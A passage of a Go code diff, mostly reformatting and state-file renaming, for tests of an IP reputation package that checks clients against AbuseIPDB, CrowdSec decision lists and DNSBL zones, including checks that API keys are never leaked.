+			"192.0.2.75":  75,
+			"192.0.2.100": 100,
+		}
 		p := abuseIPDBParams()
 		p.MinScore = 75
 		checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p)
@@ -116,7 +130,9 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
-		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
+		abuseIPDB := &abuseIPDBStandIn{
+			scores: map[string]int64{suspect: 100},
+		}
 		checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
 
 		hitFrom(t, checker, suspect, true)
@@ -140,7 +156,9 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
 	})
 }
 
-func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
+func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -151,7 +169,9 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
 		p.DailyBudget = 3
 		p.Alerts = queue
 		p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
-		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
+		abuseIPDB := &abuseIPDBStandIn{
+			scores: map[string]int64{suspect: 100},
+		}
 		checker := newAbuseIPDB(abuseIPDB, p)
 
 		// At noon, the first three offenders spend the budget, and the
@@ -172,18 +192,26 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
 		// The check that used the budget up raised the alert, and logged it.
 		const usedUp = "the daily budget of AbuseIPDB checks is used up"
 
-		wantFailureAlert(t, queue, time.Now(), usedUp,
-			"3 checks spent; none is made until the day ends at 00:00 UTC", 0)
+		wantFailureAlert(
+			t,
+			queue,
+			time.Now(),
+			usedUp,
+			"3 checks spent; none is made until the day ends at 00:00 UTC",
+			0,
+		)
 
 		if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) {
 			t.Errorf("logged\n%s\nwant the budget used up", log.String())
 		}
 
-		// Restarted with what reputation.json keeps, it uses the scores, and
-		// checks no client until the day ends.
+		// Restarted with what abuseipdb-scores.json and
+		// abuseipdb-checks-spent.json keep, it uses the scores, and checks
+		// no client until the day ends.
 		restarted := &abuseIPDBStandIn{}
 		again := newAbuseIPDB(restarted, p)
 		again.Load(checker.Snapshot())
+		again.LoadChecksSpent(checker.ChecksSpent())
 
 		wantScore(t, again, suspect, true, 100, true)
 		wantBudgetLeft(t, again, 0)
@@ -202,7 +230,44 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
 	})
 }
 
-func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
+func TestChecksAreCountedInUTCDaysWhateverTheClocksZone(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		// A clock 14 hours ahead of UTC, whose day starts at 10:00 UTC.
+		ahead := time.FixedZone("UTC+14", 14*60*60)
+		p := abuseIPDBParams()
+		p.DailyBudget = 1
+		p.Now = func() time.Time { return time.Now().In(ahead) }
+		abuseIPDB := &abuseIPDBStandIn{
+			scores: map[string]int64{suspect: 100},
+		}
+		checker := newAbuseIPDB(abuseIPDB, p)
+
+		// At 09:00 UTC the one check is spent.
+		time.Sleep(9 * time.Hour)
+		hitFrom(t, checker, suspect, true)
+		synctest.Wait()
+		wantBudgetLeft(t, checker, 0)
+
+		// At 11:00 UTC the clock's day has changed, but the UTC day has not.
+		time.Sleep(2 * time.Hour)
+		wantBudgetLeft(t, checker, 0)
+
+		want := civil.Date{Year: 2000, Month: 1, Day: 1}
+		if day := checker.ChecksSpent().Day; day != want {
+			t.Errorf("checks spent on %s, want on %s", day, want)
+		}
+
+		// At 00:00 UTC the budget is whole again.
+		time.Sleep(13 * time.Hour)
+		wantBudgetLeft(t, checker, 1)
+	})
+}
+
+func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	for _, tc := range []struct {
@@ -246,7 +311,10 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
 				p.Key = tc.key
 				p.Alerts = queue
 				p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
-				abuseIPDB := &abuseIPDBStandIn{status: tc.status, body: tc.body}
+				abuseIPDB := &abuseIPDBStandIn{
+					status: tc.status,
+					body:   tc.body,
+				}
 				checker := newAbuseIPDB(abuseIPDB, p)
 
 				// The failure gives no score, and no client is checked within a
@@ -265,7 +333,7 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
 				wantChecked(t, abuseIPDB, suspect, other)
 				wantFailures(t, checker, 2)
 
-				if scores := checker.Snapshot().Scores; len(scores) != 0 {
+				if scores := checker.Snapshot(); len(scores) != 0 {
 					t.Errorf("scores %+v, want none", scores)
 				}
 
@@ -274,8 +342,11 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
 				wantFailureAlert(t, queue, time.Now().Add(-time.Minute),
 					"checking a client with AbuseIPDB failed", tc.error, 1)
 
-				if !strings.Contains(log.String(), `"msg":"checking a client with `+
-					`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error) {
+				if !strings.Contains(
+					log.String(),
+					`"msg":"checking a client with `+
+						`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error,
+				) {
 					t.Errorf("logged\n%s\nwant the failures", log.String())
 				}
 			})
@@ -283,7 +354,9 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
 	}
 }
 
-func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) {
+func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -310,8 +383,14 @@ func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) {
 		time.Sleep(time.Nanosecond)
 		synctest.Wait()
 		wantFailures(t, checker, 1)
-		wantFailureAlert(t, queue, time.Now(), "checking a client with AbuseIPDB failed",
-			"check the client: context deadline exceeded", 0)
+		wantFailureAlert(
+			t,
+			queue,
+			time.Now(),
+			"checking a client with AbuseIPDB failed",
+			"check the client: context deadline exceeded",
+			0,
+		)
 	})
 }
 
@@ -325,10 +404,15 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
 		p := abuseIPDBParams()
 		p.Alerts = queue
 		p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
-		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
+		abuseIPDB := &abuseIPDBStandIn{
+			scores: map[string]int64{suspect: 100},
+		}
 		checker := newAbuseIPDB(abuseIPDB, p)
 		m := metrics.New(1, "app")
-		m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
+		m.AddReputation(
+			reputation.New(params()),
+			reputation.NewDNSBL(dnsblParams()),
+		)
 		m.AddAbuseIPDB(checker)
 
 		// One check that AbuseIPDB answers, and one it refuses with an answer
@@ -337,7 +421,10 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
 		synctest.Wait()
 		wantScore(t, checker, suspect, true, 100, true)
 
-		abuseIPDB.answerWith(http.StatusUnauthorized, `{"errors":[{"detail":"`+key+`"}]}`)
+		abuseIPDB.answerWith(
+			http.StatusUnauthorized,
+			`{"errors":[{"detail":"`+key+`"}]}`,
+		)
 		wantScore(t, checker, other, true, 0, false)
 		synctest.Wait()
 		wantFailures(t, checker, 1)
@@ -362,7 +449,7 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
 
 		for name, shown := range map[string]string{
 			"the log": log.String(), "the alerts": string(alerted),
-			"the metrics": scrapeMetrics(t, m), "reputation.json": string(kept),
+			"the metrics": scrapeMetrics(t, m), "abuseipdb-scores.json": string(kept),
 		} {
 			if strings.Contains(shown, key) {
 				t.Errorf("%s shows the key:\n%s", name, shown)
@@ -380,7 +467,10 @@ func TestMetricsCountTheChecksTheFailuresAndTheBudgetLeft(t *testing.T) {
 		p.DailyBudget = 5
 		checker := newAbuseIPDB(abuseIPDB, p)
 		m := metrics.New(1, "app")
-		m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
+		m.AddReputation(
+			reputation.New(params()),
+			reputation.NewDNSBL(dnsblParams()),
+		)
 		m.AddAbuseIPDB(checker)
 
 		// One check that AbuseIPDB answers, and one that fails.
@@ -425,18 +515,20 @@ func TestScoreFetchedATTLAgoIsNeitherUsedNorKept(t *testing.T) {
 		Fetched: now.Add(-cacheTTL),
 	}
 
-	checker.Load(reputation.Checks{Scores: []reputation.Score{stale, inUse}})
+	checker.Load([]reputation.Score{stale, inUse})
 
 	wantScore(t, checker, suspect, false, 100, true)
 	wantScore(t, checker, other, false, 0, false)
 
-	got := checker.Snapshot().Scores
+	got := checker.Snapshot()
 	if !reflect.DeepEqual(got, []reputation.Score{inUse}) {
 		t.Errorf("scores %+v, want only %+v", got, inUse)
 	}
 }
 
-func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
+func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
@@ -444,7 +536,7 @@ func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T)
 	p.Now = func() time.Time { return now }
 	checker := reputation.NewAbuseIPDB(p)
 
-	// 100,001 scores, listed by client, as reputation.json lists them, each
+	// 100,001 scores, listed by client, as abuseipdb-scores.json lists them, each
 	// fetched a millisecond before the one before it: the last is one too
 	// many.
 	const count = 100001
@@ -460,12 +552,15 @@ func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T)
 		addr = addr.Next()
 	}
 
-	checker.Load(reputation.Checks{Scores: scores})
+	checker.Load(scores)
 
-	got := checker.Snapshot().Scores
+	got := checker.Snapshot()
 	if len(got) != count-1 || !slices.Contains(got, scores[0]) ||
 		slices.Contains(got, scores[count-1]) {
-		t.Errorf("%d scores kept, want all but the one fetched longest ago", len(got))
+		t.Errorf(
+			"%d scores kept, want all but the one fetched longest ago",
+			len(got),
+		)
 	}
 }
 
@@ -486,7 +581,9 @@ type abuseIPDBStandIn struct {
 
 // RoundTrip has the stand-in answer req, in place of the network. A check
 // abandoned before the stand-in answers fails, as over the network.
-func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) {
+func (s *abuseIPDBStandIn) RoundTrip(
+	req *http.Request,
+) (*http.Response, error) {
 	client := req.URL.Query().Get("ipAddress")
 	sent := req.Header.Get("Key")
 
@@ -506,8 +603,11 @@ func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error)
 		status = http.StatusUnauthorized
 	case status == 0:
 		status = http.StatusOK
-		body = fmt.Sprintf(`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`, client,
-			score)
+		body = fmt.Sprintf(
+			`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`,
+			client,
+			score,
+		)
 	}
 
 	return &http.Response{
@@ -567,15 +667,25 @@ func newAbuseIPDB(
 // wantScore checks the score checker gives client, and whether it is a
 // hit, as a request from client finds them, offender or not.
 func wantScore(
-	t *testing.T, checker *reputation.AbuseIPDB, client string, offender bool,
-	score int64, hit bool,
+	t *testing.T,
+	checker *reputation.AbuseIPDB,
+	client string,
+	offender bool,
+	score int64,
+	hit bool,
 ) {
 	t.Helper()
 
 	gotScore, gotHit := hitFrom(t, checker, client, offender)
 	if gotScore != score || gotHit != hit {
-		t.Errorf("%s has the score %d, a hit %t, want %d, %t", client, gotScore, gotHit,
-			score, hit)
+		t.Errorf(
+			"%s has the score %d, a hit %t, want %d, %t",
+			client,
+			gotScore,
+			gotHit,
+			score,
+			hit,
+		)
 	}
 }
 
@@ -583,7 +693,10 @@ func wantScore(
 // Its client is address for an IPv4 address, and its /64 for an IPv6 one,
 // as sww counts clients.
 func hitFrom(
-	t *testing.T, checker *reputation.AbuseIPDB, address string, offender bool,
+	t *testing.T,
+	checker *reputation.AbuseIPDB,
+	address string,
+	offender bool,
 ) (int64, bool) {
 	t.Helper()
 
@@ -627,7 +740,10 @@ func wantFailures(t *testing.T, checker *reputation.AbuseIPDB, want int) {
 // the error failure, and that the cooldown has held back held repeats of
 // it.
 func wantFailureAlert(
-	t *testing.T, queue *alerts.Queue, raised time.Time, reason, failure string,
+	t *testing.T,
+	queue *alerts.Queue,
+	raised time.Time,
+	reason, failure string,
 	held int64,
 ) {
 	t.Helper()
@@ -637,8 +753,15 @@ func wantFailureAlert(
 		got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason ||
 		got[0].Detail["source"] != reputation.AbuseIPDBSource ||
 		got[0].Detail["error"] != failure || queue.Suppressed() != held {
-		t.Errorf("alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
-			"and %d", got, queue.Suppressed(), reason, failure, held)
+		t.Errorf(
+			"alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
+				"and %d",
+			got,
+			queue.Suppressed(),
+			reason,
+			failure,
+			held,
+		)
 	}
 }
 
@@ -656,8 +779,11 @@ func scrapeMetrics(t *testing.T, m *metrics.Metrics) string {
 	t.Helper()
 
 	scraped := httptest.NewRecorder()
-	m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
-		http.NoBody))
+	m.ServeHTTP(
+		scraped,
+		httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
+			http.NoBody),
+	)
 
 	return scraped.Body.String()
 }

internal/reputation/crowdsec_test.go

@@ -37,7 +37,9 @@ const (
 	rangeScope = "Range"
 )
 
-func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) {
+func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -48,7 +50,13 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *test
 			// A shorter decision on the same address, which is not the one
 			// used.
 			{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
-			{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
+			{
+				rangeScope,
+				"198.51.100.0/24",
+				ban,
+				probing,
+				began.Add(time.Hour),
+			},
 			{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
 			// Left out: a decision to show a captcha, and one on a country.
 			{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
@@ -74,14 +82,28 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *test
 		e.set(func(e *engine) { e.failing = true })
 		time.Sleep(time.Hour - time.Nanosecond)
 		synctest.Wait()
-		wantDecision(t, lists, "198.51.100.7",
-			reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing})
+		wantDecision(
+			t,
+			lists,
+			"198.51.100.7",
+			reputation.Decision{
+				Expires:  began.Add(time.Hour),
+				Scenario: probing,
+			},
+		)
 
 		time.Sleep(time.Nanosecond)
 		synctest.Wait()
 		wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
-		wantDecision(t, lists, suspect,
-			reputation.Decision{Expires: began.Add(6 * time.Hour), Scenario: manual})
+		wantDecision(
+			t,
+			lists,
+			suspect,
+			reputation.Decision{
+				Expires:  began.Add(6 * time.Hour),
+				Scenario: manual,
+			},
+		)
 	})
 }
 
@@ -96,7 +118,10 @@ func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
 		lists := start(t, e, crowdSecParams())
 		wantEngineFetches(t, e, 1)
 
-		added := reputation.Decision{Expires: began.Add(2 * time.Hour), Scenario: probing}
+		added := reputation.Decision{
+			Expires:  began.Add(2 * time.Hour),
+			Scenario: probing,
+		}
 
 		e.set(func(e *engine) {
 			e.decisions = append(e.decisions,
@@ -125,23 +150,58 @@ func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
 			// 198.51.100.130 is held by a decision on its address that ends
 			// after the one on its netblock, and 192.0.2.20 by one that ends
 			// before.
-			{rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)},
+			{
+				rangeScope,
+				"198.51.100.128/25",
+				ban,
+				sshBF,
+				began.Add(time.Hour),
+			},
 			{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
-			{rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)},
+			{
+				rangeScope,
+				"192.0.2.0/24",
+				ban,
+				probing,
+				began.Add(5 * time.Hour),
+			},
 			{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
 		}}
 		lists := start(t, e, crowdSecParams())
 
-		wantDecision(t, lists, suspect,
-			reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing})
-		wantDecision(t, lists, "198.51.100.130",
-			reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing})
-		wantDecision(t, lists, "192.0.2.20",
-			reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing})
+		wantDecision(
+			t,
+			lists,
+			suspect,
+			reputation.Decision{
+				Expires:  began.Add(4 * time.Hour),
+				Scenario: probing,
+			},
+		)
+		wantDecision(
+			t,
+			lists,
+			"198.51.100.130",
+			reputation.Decision{
+				Expires:  began.Add(3 * time.Hour),
+				Scenario: probing,
+			},
+		)
+		wantDecision(
+			t,
+			lists,
+			"192.0.2.20",
+			reputation.Decision{
+				Expires:  began.Add(5 * time.Hour),
+				Scenario: probing,
+			},
+		)
 	})
 }
 
-func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) {
+func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -203,27 +263,43 @@ func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
 				}
 
 				wantEngineFetches(t, e, 3)
-				wantDecision(t, lists, suspect,
-					reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: sshBF})
+				wantDecision(
+					t,
+					lists,
+					suspect,
+					reputation.Decision{
+						Expires:  began.Add(4 * time.Hour),
+						Scenario: sshBF,
+					},
+				)
 
 				want := kept[0]
 				want.Tried = time.Now()
 
-				if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
-					t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
+				got := lists.Snapshot()
+				if !reflect.DeepEqual(got, []reputation.List{want}) {
+					t.Errorf(
+						"lists %+v, want the first copy, last tried now, %+v",
+						got,
+						want,
+					)
 				}
 
-				if lists.Failures(decisionsURL) != 2 {
-					t.Errorf("%d failures, want 2", lists.Failures(decisionsURL))
+				if n := lists.Failures(decisionsURL); n != 2 {
+					t.Errorf("%d failures, want 2", n)
 				}
 
 				// One alert for the first failure; the cooldown holds back the
 				// second.
-				wantAlert(t, queue,
-					fetchFailure(time.Now().Add(-time.Minute), decisionsURL, tc.error))
+				failed := time.Now().Add(-time.Minute)
+				alert := fetchFailure(failed, decisionsURL, tc.error)
+				wantAlert(t, queue, alert)
 
-				if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
-					`"url":"`+decisionsURL+`","error":"`+tc.error) {
+				if !strings.Contains(
+					log.String(),
+					`"msg":"fetching a list failed",`+
+						`"url":"`+decisionsURL+`","error":"`+tc.error,
+				) {
 					t.Errorf("logged\n%s\nwant the failures", log.String())
 				}
 
@@ -291,9 +367,13 @@ func crowdSecFailures() []crowdSecFailure {
 // other than its decision list, such as the one a redirect names, and that
 // the key is in none of what the fetches leave behind: log, the process
 // log, the alerts waiting in queue, and the copies of lists, which
-// reputation.json keeps.
+// lists.json keeps.
 func wantKeyNotShown(
-	t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue,
+	t *testing.T,
+	e *engine,
+	log string,
+	lists *reputation.Lists,
+	queue *alerts.Queue,
 ) {
 	t.Helper()
 
@@ -315,18 +395,26 @@ func wantKeyNotShown(
 	}
 }
 
-func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing.T) {
+func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
 		began := time.Now()
 		e := &engine{key: engineKey, decisions: []decision{
-			{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
+			{
+				rangeScope,
+				"198.51.100.0/24",
+				ban,
+				probing,
+				began.Add(time.Hour),
+			},
 		}}
 		lists := start(t, e, crowdSecParams())
 		kept := lists.Snapshot()
 
-		// Restarted half an hour later with what reputation.json keeps, and
+		// Restarted half an hour later with what lists.json keeps, and
 		// the engine down, the decision still bans, until the end it had at
 		// the fetch, half an hour on.
 		time.Sleep(30 * time.Minute)
@@ -342,7 +430,10 @@ func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing
 
 		run(t, again)
 
-		want := reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing}
+		want := reputation.Decision{
+			Expires:  began.Add(time.Hour),
+			Scenario: probing,
+		}
 		wantDecision(t, again, "198.51.100.7", want)
 
 		time.Sleep(30*time.Minute - time.Nanosecond)
@@ -415,7 +506,8 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
 
 	e.fetches++
 
-	if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" {
+	if req.URL.String() != decisionsURL &&
+		req.Header.Get("X-Api-Key") != "" {
 		e.keySentTo = append(e.keySentTo, req.URL.String())
 	}
 
@@ -425,7 +517,9 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
 	case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
 		status, body = http.StatusForbidden, `{"message":"access forbidden"}`
 	case e.redirect != "":
-		status, header = http.StatusFound, http.Header{"Location": {e.redirect}}
+		status, header = http.StatusFound, http.Header{
+			"Location": {e.redirect},
+		}
 	case e.failing:
 		status, body = http.StatusServiceUnavailable, ""
 	case body == "":
@@ -449,7 +543,9 @@ func (e *engine) inForce(now time.Time) string {
 	for _, d := range e.decisions {
 		if now.Before(d.expires) {
 			answer = append(answer, map[string]string{
-				"duration": d.expires.Sub(now).String(), "origin": "crowdsec",
+				"duration": d.expires.Sub(now).
+					String(),
+				"origin":   "crowdsec",
 				"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
 			})
 		}
@@ -501,13 +597,26 @@ func wantEngineFetches(t *testing.T, e *engine, want int) {
 // wantDecision checks the decision lists says is in force on addr now,
 // the zero Decision for none.
 func wantDecision(
-	t *testing.T, lists *reputation.Lists, addr string, want reputation.Decision,
+	t *testing.T,
+	lists *reputation.Lists,
+	addr string,
+	want reputation.Decision,
 ) {
 	t.Helper()
 
-	got, listed := lists.CrowdSecDecision(netip.MustParseAddr(addr), time.Now())
+	got, listed := lists.CrowdSecDecision(
+		netip.MustParseAddr(addr),
+		time.Now(),
+	)
 	if listed != !want.Expires.IsZero() ||
-		listed && (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
-		t.Errorf("%s has the decision %+v in force %t, want %+v", addr, got, listed, want)
+		listed &&
+			(!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
+		t.Errorf(
+			"%s has the decision %+v in force %t, want %+v",
+			addr,
+			got,
+			listed,
+			want,
+		)
 	}
 }

internal/reputation/dnsbl.go

@@ -40,7 +40,7 @@ var (
 	errNotListing = errors.New("the answer is outside 127.0.0.0/8")
 )
 
-// Verdict is what a zone said about a client, as reputation.json holds
+// Verdict is what a zone said about a client, as dnsbl.json holds
 // it: the zone, the client's address, whether the zone lists it, and when
 // the zone answered.
 type Verdict struct {
@@ -187,7 +187,7 @@ func (d *DNSBL) Failures(zone string) int {
 }
 
 // Snapshot returns every verdict still in use, sorted by client, then by
-// zone, as reputation.json lists them.
+// zone, as dnsbl.json lists them.
 func (d *DNSBL) Snapshot() []Verdict {
 	d.mu.Lock()
 
@@ -203,13 +203,16 @@ func (d *DNSBL) Snapshot() []Verdict {
 	d.mu.Unlock()
 
 	slices.SortFunc(verdicts, func(a, b Verdict) int {
-		return cmp.Or(a.Client.Compare(b.Client), strings.Compare(a.Zone, b.Zone))
+		return cmp.Or(
+			a.Client.Compare(b.Client),
+			strings.Compare(a.Zone, b.Zone),
+		)
 	})
 
 	return verdicts
 }
 
-// Load keeps verdicts, read from reputation.json, in place of those it
+// Load keeps verdicts, read from dnsbl.json, in place of those it
 // keeps, but for those of a zone SWW_DNSBL_ZONES does not name, and,
 // past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
 // more is neither used nor written, as for any verdict.
@@ -275,7 +278,11 @@ func (d *DNSBL) lookUp(ctx context.Context, q query) (bool, error) {
 	ctx, cancel := context.WithTimeout(ctx, d.params.Timeout)
 	defer cancel()
 
-	answer, err := d.resolver.LookupNetIP(ctx, "ip4", queryName(q.zone, q.client))
+	answer, err := d.resolver.LookupNetIP(
+		ctx,
+		"ip4",
+		queryName(q.zone, q.client),
+	)
 
 	var dnsErr *net.DNSError
 

internal/reputation/dnsbl_test.go

@@ -73,7 +73,11 @@ func TestMain(m *testing.M) {
 			return nil, errNoNetwork
 		},
 	}
-	_, _ = resolver.LookupNetIP(context.Background(), "ip4", "warm-up.invalid.")
+	_, _ = resolver.LookupNetIP(
+		context.Background(),
+		"ip4",
+		"warm-up.invalid.",
+	)
 
 	m.Run()
 }
@@ -91,8 +95,10 @@ func TestZonesListOrNotClientsByTheirIPv4AndIPv6Addresses(t *testing.T) {
 		)
 
 		resolver := &resolverStandIn{answers: map[string]answer{
-			"99.2.0.192." + zone + ".":      {addrs: []string{listing}},
-			v6Name + otherZone + ".":        {addrs: []string{"127.0.0.4", "127.0.0.10"}},
+			"99.2.0.192." + zone + ".": {addrs: []string{listing}},
+			v6Name + otherZone + ".": {
+				addrs: []string{"127.0.0.4", "127.0.0.10"},
+			},
 			"99.2.0.192." + otherZone + ".": {},
 		}}
 		dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone))
@@ -131,8 +137,11 @@ func TestListedByNeverWaitsForAQuery(t *testing.T) {
 	})
 }
 
+//
 //nolint:paralleltest // one at a time, as the comment at the top of this file says
-func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
+func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(
+	t *testing.T,
+) {
 	synctest.Test(t, func(t *testing.T) {
 		resolver := &resolverStandIn{answers: map[string]answer{
 			listedName: {addrs: []string{listing}},
@@ -198,8 +207,11 @@ func TestQueryNotAnsweredWithinTheTimeoutFails(t *testing.T) {
 	})
 }
 
+//
 //nolint:paralleltest // one at a time, as the comment at the top of this file says
-func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing.T) {
+func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(
+	t *testing.T,
+) {
 	for _, tc := range []struct {
 		name   string
 		answer answer
@@ -230,9 +242,12 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing
 				p := dnsblParams(zone)
 				p.Alerts = queue
 				p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
-				dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{
-					listedName: tc.answer,
-				}}, p)
+				dnsbl := newDNSBL(
+					&resolverStandIn{answers: map[string]answer{
+						listedName: tc.answer,
+					}},
+					p,
+				)
 
 				// The failure gives no verdict, and the zone is not asked
 				// again within a minute of it.
@@ -258,11 +273,17 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing
 					Time:   time.Now().Add(-time.Minute),
 					Event:  alerts.EventSourceFailure,
 					Reason: "asking a DNSBL zone failed",
-					Detail: map[string]any{"source": zone, "error": tc.error},
+					Detail: map[string]any{
+						"source": zone,
+						"error":  tc.error,
+					},
 				})
 
-				if !strings.Contains(log.String(), `"msg":"asking a DNSBL zone failed",`+
-					`"zone":"`+zone+`","error":"`+tc.error) {
+				if !strings.Contains(
+					log.String(),
+					`"msg":"asking a DNSBL zone failed",`+
+						`"zone":"`+zone+`","error":"`+tc.error,
+				) {
 					t.Errorf("logged\n%s\nwant the failures", log.String())
 				}
 			})
@@ -302,8 +323,11 @@ func TestMetricsCountEachZonesQueriesAndThoseThatFailed(t *testing.T) {
 		synctest.Wait()
 
 		scraped := httptest.NewRecorder()
-		m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
-			"/", http.NoBody))
+		m.ServeHTTP(
+			scraped,
+			httptest.NewRequestWithContext(t.Context(), http.MethodGet,
+				"/", http.NoBody),
+		)
 
 		for series, want := range map[string]string{
 			"queries_total" + `{instance="app",source="` + zone + `"}`:       "1",
@@ -348,19 +372,32 @@ func TestZoneKeyIsMaskedInTheVerdictsTheFailuresAndTheMetrics(t *testing.T) {
